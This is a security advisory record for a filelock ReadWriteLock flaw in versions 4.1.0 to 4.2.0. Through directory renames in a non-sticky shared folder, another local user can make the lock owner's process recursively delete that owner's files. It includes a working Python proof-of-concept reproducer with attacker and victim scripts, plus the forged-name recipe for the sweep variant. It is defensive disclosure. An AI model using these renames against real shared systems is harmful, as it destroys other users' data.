{"id":"CVE-2026-112937","aliases":["GHSA-jqc4-5cvw-7w85"],"url":"https://o3.security/vulnerability/CVE-2026-112937","summary":"filelock: ReadWriteLock on the hard-link route deletes any directory another user renames onto its .filelock-* link directory name","details":"`ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) remove their private `.filelock-*` link directories with `shutil.rmtree` (a recursive delete) on a remembered path. They do not check that the path still names the directory they created. This happens on the hard-link route (a hard link is a second name for the same file). That route is every connection on macOS since 4.1.1 and any POSIX process without a usable `/proc/self/fd` (a Linux path that names the process's own open files), such as a chroot or container that does not mount `/proc`.\n\nAnother local user who can rename entries in the directory that holds the lock database can rename one of the directories of the user running the lock (below: the lock user) onto the link directory's name, or onto a forged dead-holder name. Such a lock directory is a `0777` or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). The lock user's process then deletes that tree and everything in it with the lock user's permissions, and reports no error. Stock Linux with `/proc` mounted is not affected. Affected versions are filelock 4.1.0 through 4.2.0.\n\nAnthropic's OSS Scanner reported this in private as `ANT-2026-LSSZIUEO` [high, CWE-367]: ReadWriteLock deletes any directory another user renames to .filelock-*.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L` scores 6.1 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:L` (low attack complexity): two `rename` calls and no race against filelock's own code. `I:H` (high integrity impact): the other user destroys a directory tree owned by the lock user, and the lock user's program reports no error. `A:L` (partial availability loss): the Python 3.11 `RecursionError` variant makes the lock user's first lock construction fail. `C:N` (no confidentiality impact): the other user learns nothing. `S:U` (scope unchanged): the effect stays within the lock user's own privileges.\n\nClassification from the external review: **conditional security**, a cross-user rename in a non-sticky shared parent that turns private-link cleanup into recursive deletion of the lock user's tree. The scanner rated it high. The review accepts the mechanism, notes that the macOS route rests on a Linux run with `/proc` hidden rather than on a run on macOS, and narrows the finding to that precondition and route.\n\n## Scope and preconditions\n\n- The other party is a different local account with write permission on the directory that holds the lock database, where that directory has no sticky bit. That is a `0777` directory, or a group-writable one (in a setgid `2775` directory a group member can rename the lock user's sub-directory the same way). Renaming an entry needs write permission on the parent only, not on the entry. Anyone who can write the parent can rename a `0700` directory of the lock user.\n- Sticky directories (`/tmp` itself, any `1777` directory) stop the release variant: the rename of an entry owned by the lock user fails with `EPERM`. The dead-owner sweep still reaches a lock user's tree that sits inside a directory the other account owns there. That account may rename its own directory to a forged dead-owner name, and the lock user's sweep deletes everything inside it. The Python 3.11 `RecursionError` variant also works in a sticky directory.\n- Platform and route. The lock user must connect through the private hard link. That is every `ReadWriteLock` or `AsyncReadWriteLock` on macOS (since 4.1.1, #820), or a POSIX process whose `/proc/self/fd/<n>` (`/dev/fd/<n>` elsewhere) does not exist, such as a chroot or container without `/proc`. Linux with `/proc` mounted connects through the descriptor and creates no `.filelock-*` directory (checked: none appears, also with two holders in one process), so stock Linux is not affected at 4.2.0. The macOS statement rests on the `descriptor_usable` branch at line 984 and `docs/how-to.rst`. The reproducer runs the same Python code on Linux with `/proc` hidden, which takes root and is test scaffolding, not a step the other user performs. Windows does not take this route.\n- Target set. Only directories that sit in the shared parent itself, or that the other account can already write, are reachable. The kernel refuses to move a `0700` directory of the lock user in from another parent. A tree the other account can already write (a group-writable project tree created with umask `002`) is no gain, since that account can delete it without filelock. A lock user running as root deletes a tree of any owner.\n- Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky.\n\n## Affected code\n\nAt the scanned commit `b831496b0273`: [`_ForkSafeConnection.close` runs `shutil.rmtree` on the remembered `mkdtemp` path](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L290-L296). The path comes from [`retain_until_close`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L305-L307), set on the [link route in `_connect_through_descriptor`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L984-L1011), where [`descriptor_usable` is `False` on macOS](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L984). Three more `rmtree` sites sit in [`_link_beside`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1014-L1029) (lines 1023 and 1026) and the connect's `finally` (line 1011). The fifth is in [`_sweep_links_of_the_dead`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1032-L1051), with the name parser [`_owner_is_gone`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1054-L1065) and [`_link_prefix`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1068-L1071).\n\n## Introduced\n\nThe link directory moved beside the database in `015d27c` (\"fix(read-write): reject WAL databases and link beside the db (#805)\"), and the dead-owner sweep came with `df06bbd` (#815). Both were first released in **4.1.0** (verified: `git tag --contains` gives 4.1.0 for both; 4.0.11 and 4.0.12 made the link in `TMPDIR`). macOS takes the link route for every connection since `5fd0c8f` (#820), first released in **4.1.1** (verified).\n\n## Mechanism\n\nWhen the lock connects through its private hard link, it disposes of `.filelock-*` directories with `shutil.rmtree` on a path. Nothing ties that path to the directory filelock created. `mkdtemp` makes the name unpredictable and the directory `0700`. The name is in the parent's listing as soon as it exists (`ls -a`), and renaming it needs write permission on the parent only. `0700` keeps the other user out of the directory; it does not stop a rename of the directory. There are two ways in, with the same preconditions.\n\n**On release.** A connection lives for one acquisition: `_open_for_acquisition` opens it and `release()` reaches `close` through `_release` and `_finish_connection`. The code trusts the path from the acquire to the release, for as long as the application keeps the lock. While the lock user holds `write_lock()` on `/tmp/shared-cache/cache.db`, the directory lists `.filelock-<pid>--<host digest>-<random>/` (`0700`, owned by the lock user, containing `lock.db`). The other user runs two renames: that directory to `moved-aside`, then `victim_project` (a `0700` directory of the lock user with `notes.txt` inside) onto the link directory's name. When the lock user leaves the `with` block, `rmtree` deletes `victim_project` and everything in it with the lock user's permissions, and the process exits with status 0. `moved-aside/lock.db`, the real link, stays behind as an extra hard link to the database. The constructor's validation connection (`ReadWriteLock.__init__` opens and closes one, creating and removing a link directory) and the three error-path removals trust the path the same way, with windows a few system calls long.\n\n**In the dead-owner sweep.** `_link_beside` calls `_sweep_links_of_the_dead(parent)` once per process and parent directory before `mkdtemp`. The first connect of every process on the link route runs it, the validation connection included. It runs `rmtree` on every `.filelock-*` directory whose name parses as a dead owner's. It checks neither the directory's owner, nor its mode, nor whether it holds only `lock.db`. `_owner_is_gone` splits the name after `.filelock-` into `pid`, `start`, `digest` (a hash of the host name) and a suffix. It returns `digest == _host_digest(host) and owner_is_stale(pid, host, start or None)`.\n\nThe other user can forge every field. Take `.filelock-2147483647--<digest>-x`. `pid` is the largest value the #821 range check accepts and above the PID limit of Linux and macOS, so `process_alive` gets `ESRCH` from `os.kill(pid, 0)`; the PID of any exited process, such as a child the other user just reaped, passes as well. `start` is empty, which the parser accepts because `_link_prefix` writes an empty field when it has no start token; with no token and a dead PID `owner_is_stale` returns `True`. `digest` is `sha256(host_name())[:16]`. `host_name()` adds a PID-namespace tag only when `/proc/self/ns/pid` is readable, which it is not on macOS or without `/proc`, so any local user can compute the digest, and it is in the name of every link directory the lock user creates. The parser does not look at the suffix.\n\nOne `rename(\"victim_project\", \".filelock-2147483647--<digest>-x\")` at any time, with no lock held, gets the tree deleted the next time any lock user process on the link route constructs a lock in that directory (a cron job, a CI step, a service restart). #821 made the parser reject non-ASCII digits and out-of-range PIDs; a well-formed name for a PID that is not running still selects the directory for removal.\n\nThe sweep's `rmtree` has a smaller effect that needs no lock user tree and works in a sticky directory, on Python 3.11, where `shutil.rmtree` recurses once per directory level. The other user creates a directory of their own under a forged dead-owner name in a `1777` directory, with 1500 nested subdirectories inside. The first `ReadWriteLock(...)` a lock user process on the link route constructs there raises `RecursionError`, which the `suppress(OSError)` at line 1050 does not catch. A second attempt in the same process skips the sweep and succeeds. Python 3.14 walks the same tree without an error.\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-LSSZIUEO`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nshared = \"/tmp/shared-cache\"\nproject = f\"{shared}/victim_project\"\n\n# ReadWriteLock takes the hard-link route (.filelock-* directory beside the database) on macOS, and elsewhere when\n# /proc/self/fd/<n> is unusable. An empty /proc in a private mount namespace puts unmodified filelock on that route.\nos.unshare(os.CLONE_NEWNS)\nsubprocess.run([\"mount\", \"--make-rprivate\", \"/\"], check=True)\nsubprocess.run([\"mount\", \"-t\", \"tmpfs\", \"tmpfs\", \"/proc\"], check=True)\n\n# set up: a shared directory without the sticky bit, holding the victim's private tree\nshutil.rmtree(shared, ignore_errors=True)\nos.mkdir(shared)\nos.chmod(shared, 0o777)\nos.mkdir(project, 0o700)\nwith open(f\"{project}/notes.txt\", \"w\") as notes_file:\n    notes_file.write(\"victim data\\n\")\nshutil.chown(f\"{project}/notes.txt\", \"victim\", \"victim\")\nshutil.chown(project, \"victim\", \"victim\")\n\nrm = subprocess.run([\"runuser\", \"-u\", \"attacker\", \"--\", \"rm\", \"-rf\", project], capture_output=True, text=True)\nprint(\"attacker runs rm -rf on the victim's tree:\", rm.stderr.strip())\nassert os.path.exists(f\"{project}/notes.txt\"), \"setup: the attacker could delete the tree without filelock\"\n\n# the victim takes the write lock and stays in its critical section\nvictim = subprocess.Popen(\n    [\"runuser\", \"-u\", \"victim\", \"--\", sys.executable, \"/tmp/repro.d/victim_hold_write_lock.py\"],\n    stdin=subprocess.PIPE,\n    stdout=subprocess.PIPE,\n    text=True,\n)\nassert victim.stdout.readline() == \"holding the write lock\\n\", \"setup: the victim did not take the lock\"\nprint(\"while the victim holds the lock:\", sorted(os.listdir(shared)))\n\n# attack\nsubprocess.run([\"runuser\", \"-u\", \"attacker\", \"--\", sys.executable, \"/tmp/repro.d/attacker_swap_link_dir.py\"], check=True)\nlink_dir = next(name for name in os.listdir(shared) if name.startswith(\".filelock-\"))\nnotes = f\"{shared}/{link_dir}/notes.txt\"\nprint(\"after the attacker's renames:\", sorted(os.listdir(shared)))\nprint(f\"{notes} exists:\", os.path.exists(notes))\nassert os.path.exists(notes), \"setup: the attacker's renames did not happen\"\n\n# the victim leaves its with block\nvictim.communicate(\"\\n\", timeout=30)\nprint(\"victim exit status:\", victim.returncode)\nprint(\"after the release:\", sorted(os.listdir(shared)))\nprint(f\"{notes} exists:\", os.path.exists(notes))\n\n# check: releasing a lock must not delete the victim's files\nprint(\"BUG\" if not os.path.exists(notes) else \"OK\")\n```\n\n**`repro.d/attacker_swap_link_dir.py`**\n\n```python\nimport os\n\nshared = \"/tmp/shared-cache\"\n\n# both directories are 0700 and owned by victim; renaming them needs write permission on the parent only\nlink_dir = next(name for name in os.listdir(shared) if name.startswith(\".filelock-\"))\nos.rename(f\"{shared}/{link_dir}\", f\"{shared}/moved-aside\")\nos.rename(f\"{shared}/victim_project\", f\"{shared}/{link_dir}\")\n```\n\n**`repro.d/victim_hold_write_lock.py`**\n\n```python\nimport sys\n\nfrom filelock import ReadWriteLock\n\nlock = ReadWriteLock(\"/tmp/shared-cache/cache.db\")\nwith lock.write_lock():\n    print(\"holding the write lock\", flush=True)\n    sys.stdin.readline()  # stands for the work the lock protects; it ends when repro sends a line\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as other local user\n    participant V as lock user's process (link route)\n    participant K as filesystem (parent 0777, no sticky bit)\n    rect rgb(255, 214, 214)\n        Note over A,K: filelock 4.1.0 to 4.2.0 on macOS, or POSIX without /proc\n        V->>K: mkdtemp(.filelock-PID--DIGEST-XXXX) mode 0700, link cache.db inside as lock.db\n        V->>K: BEGIN EXCLUSIVE, write lock held\n        A->>K: rename(.filelock-PID--DIGEST-XXXX, moved-aside)\n        A->>K: rename(victim_project, .filelock-PID--DIGEST-XXXX)\n        V->>K: release() calls shutil.rmtree(\".filelock-PID--DIGEST-XXXX\")\n        Note over V,K: victim_project and notes.txt are gone, exit status 0, moved-aside/lock.db stays\n        A->>K: later, with no lock held, rename(any directory, .filelock-2147483647--DIGEST-x)\n        V->>K: next ReadWriteLock(...) in that directory sweeps dead owners by name and rmtree's the forged one\n    end\n```\n\n## Evidence\n\nThe scanner's reproducer needs no race. It enters a private mount namespace and mounts an empty tmpfs over `/proc` for itself and its children (the only non-default condition, standing in for macOS). It creates `/tmp/shared-cache` (`0777`, no sticky bit) with `victim_project/notes.txt` (`0700`, owned by `victim`), shows that `rm -rf` on that tree as `attacker` fails with `Permission denied`, runs the `victim` program (`ReadWriteLock(\"/tmp/shared-cache/cache.db\")` + `with lock.write_lock():`) and the `attacker` renames, then lets the `victim` program release. Expected output on the scanned commit:\n\n```\nattacker runs rm -rf on the victim's tree: rm: cannot remove '/tmp/shared-cache/victim_project': Permission denied\nwhile the victim holds the lock: ['.filelock-106--39c81e1bf87b1d56-os_58i3c', 'cache.db', 'victim_project']\nafter the attacker's renames: ['.filelock-106--39c81e1bf87b1d56-os_58i3c', 'cache.db', 'moved-aside']\n/tmp/shared-cache/.filelock-106--39c81e1bf87b1d56-os_58i3c/notes.txt exists: True\nvictim exit status: 0\nafter the release: ['cache.db', 'moved-aside']\n/tmp/shared-cache/.filelock-106--39c81e1bf87b1d56-os_58i3c/notes.txt exists: False\nBUG\n```\n\nThe scanner showed the sweep variant by hand with the same setup and no lock held. As `attacker`, one rename of `victim_project` to `.filelock-2147483647--<digest>-x` with `<digest> = hashlib.sha256(socket.gethostname().encode()).hexdigest()[:16]`, then `ReadWriteLock(\"/tmp/shared-cache/cache.db\")` as `victim` with `/proc` hidden. `notes.txt` is gone after the constructor returns and the directory contains only `cache.db`.\n\nOur verification: `BUG` on `b831496` and on the 4.2.0 image (`e2e7d70`). On the PR #834 head: `OK`; the listing after the release is `['.filelock-12--4fd1986a778d5977-amfxfd9k', 'cache.db', 'moved-aside']`, `notes.txt exists: True`, and the `victim` program exits 0. Neither the scanner nor the review executed on macOS; the macOS claim rests on the `descriptor_usable` branch and the identical code after it.\n\n## Impact\n\nThe other user chooses any directory that sits in the shared parent, and the lock user's process deletes it and everything in it with the lock user's permissions and no error; the lock user's program reports success. Without filelock that user can rename such a directory but cannot remove a non-empty one whose contents they have no permission on. With filelock the lock user's process destroys the contents. The release variant needs two `rename` calls at any point while the lock user holds the lock and wins no race against filelock's own code. The sweep variant needs one rename and no held lock, and fires on the next lock construction by any lock user process in that directory. The real link directory stays under its new name with an extra hard link to the database.\n\nIt is **not** reachable on stock Linux with `/proc` mounted at 4.2.0. The release variant is **not** reachable in a sticky directory. This is the same position as in GHSA-j8f7-rjxc-mr56 (a user who can change names in a shared lock directory). Here the name is the derived `.filelock-*` directory rather than the database, and the redirected operation is a recursive delete.\n\n## Workarounds\n\n- On macOS, and on any POSIX system where `/proc/self/fd` is unavailable, keep the `ReadWriteLock` database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share one `ReadWriteLock` database between accounts through a `0777` or group-writable directory.\n- Do not keep other directories of value beside a lock database in a directory other accounts can write; the deletion targets are siblings of the database.\n- On Linux with `/proc` mounted, 4.2.0 does not take the link route and needs no workaround for this finding.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/834\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (scan `filelock-20261015-005` of commit `b831496b0273`)\n- 2026-10-16 05:38 UTC: draft advisory GHSA-v4x8-3wr5-3wq8 created for the group; this per-finding draft split out of it\n- 2026-10-16 01:15 UTC: fix PR #834 opened","published":"2026-10-20T14:36:28.129Z","modified":"2026-10-24T02:48:18.485920465Z","cvss":{"score":6.1,"severity":"MEDIUM","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"filelock","fixedVersion":"4.2.1"}],"fix":{"url":"https://github.com/tox-dev/filelock/commit/5e3f2ec0c5fb17cb2635b60b2b68bc63ab81ca2d","label":"tox-dev/filelock@5e3f2ec"},"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112937.json"},{"type":"ADVISORY","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-jqc4-5cvw-7w85"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112937"},{"type":"FIX","url":"https://github.com/tox-dev/filelock/commit/5e3f2ec0c5fb17cb2635b60b2b68bc63ab81ca2d"},{"type":"FIX","url":"https://github.com/tox-dev/filelock/pull/834"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-24T02:48:18.485920465Z"}}